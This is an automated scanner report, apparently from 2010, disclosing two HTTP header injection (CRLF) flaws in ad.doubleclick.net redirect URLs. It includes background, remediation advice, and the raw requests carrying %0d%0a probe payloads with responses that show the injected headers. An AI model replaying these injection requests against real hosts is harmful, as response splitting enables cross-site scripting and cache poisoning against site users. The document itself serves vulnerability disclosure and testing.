CWE-113 in ad.doubleclick.net | Ad CDN HTTP Header Injection

HTTP Header Injection in ad.doubleclick.net | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Dec 19 11:50:05 CST 2010.


Contents

Loading

1. HTTP header injection

1.1. http://ad.doubleclick.net/ad/N5047.Yahoo/B4216398.49 [REST URL parameter 1]

1.2. http://ad.doubleclick.net/ad/x1.aud/cisco/collab/lp [REST URL parameter 1]



1. HTTP header injection
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://ad.doubleclick.net/ad/N5047.Yahoo/B4216398.49 [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /ad/N5047.Yahoo/B4216398.49

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2c1b4%0d%0a5806aa795c3 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2c1b4%0d%0a5806aa795c3/N5047.Yahoo/B4216398.49;sz=1x1;ord=1292775452496565? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://att.my.yahoo.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2c1b4
5806aa795c3
/N5047.Yahoo/B4216398.49%3Bsz%3D1x1%3Bord%3D1292775452496565:
Date: Sun, 19 Dec 2010 16:25:57 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.2. http://ad.doubleclick.net/ad/x1.aud/cisco/collab/lp [REST URL parameter 1]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /ad/x1.aud/cisco/collab/lp

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 21467%0d%0ac9eb864f2fc was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /21467%0d%0ac9eb864f2fc/x1.aud/cisco/collab/lp;sz=1x1;ord=1234567? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2340865;type=retar732;cat=colla097;ord=6176410506013.781?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/21467
c9eb864f2fc
/x1.aud/cisco/collab/lp%3Bsz%3D1x1%3Bord%3D1234567:
Date: Sun, 19 Dec 2010 16:26:00 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

Report generated by XSS.CX at Sun Dec 19 11:50:05 CST 2010.